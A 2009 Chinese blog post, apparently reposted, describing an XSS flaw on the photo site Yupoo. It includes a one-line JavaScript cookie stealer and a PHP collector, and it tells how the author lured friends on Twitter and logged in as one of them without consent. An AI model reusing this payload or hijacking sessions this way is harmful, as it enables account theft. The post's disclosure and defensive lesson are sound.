Yupoo 的 XSS 漏洞攻击实录

作者:grace 来源:gracecode.com 时间:2009-01-18 13:34:00 

声明:此漏洞已经提交到 Yupoo 官方。因此漏洞造成的任何后果,本人不承担任何责任。

偶然的机会发现 Yupoo 线上某页面有个 XSS 漏洞,它能执行任意的前端代码。

漏洞产生的原因主要有两点,首先是表单虽然定为 POST 方法,但尝试后发现 GET 参数也可以接收的;其次,也是最致命的是,输入的参数没有经过任何的转义和过滤,就被加入到了页面中。

于是插入了相应的 Javascript 代码,并构成了 XSS (参看图中 input 参数后面的 value 已经构成了 script 标签)。

弹出个 alert 框似乎并不能说明什么问题,最好能使它发挥威力。于是构建了个 Javascript 脚本传递客户端的 cookie 到本人的服务器环境。Javascript 脚本可以简单的这样写

var img = new Image(); img.src = 'get_cookie.php?var=' + encodeURI(document.cookie);

然后服务器端使用 PHP 简单写了个脚本保存 Cookie 数据

<?php if (isset($_GET['var'])) { file_put_contents('./cookie/'.time().'.txt', urldecode($_GET['var'])); }

接下来就属于社会学的范畴,我在 Twitter 上发了信息并“引诱”朋友们去点击伪造后的连接(我承认很猥琐)。

不一会就收集了某兄弟的 Cookie,于是将其 Cookie 内容填到了本地浏览器上(谢天谢地,Yupoo 的 Cookie 不是很多)。

再次刷新浏览器,已经使用该用户的帐号登陆了(即便此时我还不知道他的密码)。

最后,使用此帐户发张本人的艳·照,纪念下…

-- Update --

截止 2009-01-14 16:25 , Yupoo 已经修复了此漏洞,效率真高!赞!

-- Split --

总结:上述攻击的手段,仅仅是从个不起眼的 XSS 漏洞开始。XSS 虽然发现快、修补也很方便,但从根本上避免还是个值得研究的课题。

Web2.0 大潮已降,前端正在改变这这个世界。前端代码的安全问题,是每个前端从业人员必须去面对和注意的。

标签:XSS,漏洞,脚本,yupoo,攻击
0
投稿

猜你喜欢

  • 如何做一个赚钱的淘宝客

    2010-05-10 10:44:00
  • 妙手回春,化解服务器登录难题(4)

    2007-03-27 10:30:00
  • 让Apache支持ASP.NET

    2007-08-30 13:37:00
  • 谷歌周四举行特别活动 完整介绍Chrome系统

    2009-11-18 08:56:00
  • “阿里妈妈怀孕”将颠覆Google广告模式

    2008-09-06 12:23:00
  • 百度框计算的终极目标

    2009-10-06 14:28:00
  • 内网IP建ftp服务器教程

    2009-02-12 13:30:00
  • 用Discuz!7.0打造兴趣类社区 北京飞度车友会聚人气

    2009-08-12 11:46:00
  • WordPress在IIS ISAPI ReWrite下的URL规则

    2008-07-01 12:09:00
  • 个人站长创业需要注意的几点

    2008-12-23 08:57:00
  • 美国2009年度10大最佳职业 系统工程师居首

    2009-10-12 08:34:00
  • 我的建站奋斗史(吐血原创)

    2007-08-24 13:50:00
  • 新手建站常识:IDC名词扫盲

    2010-01-20 22:49:00
  • 善用UCHome邀请与活动合拳 如开心网一样推广

    2009-02-27 18:30:00
  • 企业服务器架设攻略之认识邮件服务器

    2010-03-13 18:53:00
  • 雅虎CEO巴茨讽刺Facebook 他们靠什么赚钱

    2010-03-08 09:12:00
  • 新手教程:Dedecms栏目自定义字段的方法

    2011-09-22 20:27:07
  • 一步步教你做支付宝与Wordpress的系统集成

    2010-11-12 12:29:00
  • 搜索引擎网址站提交登陆入口网址(09年完整汇总)

    2009-07-20 13:21:00
  • 利用Jsvc把Java程序嵌入到Linux服务中去

    2009-11-19 12:20:00
  • asp之家 网站运营 m.aspxhome.com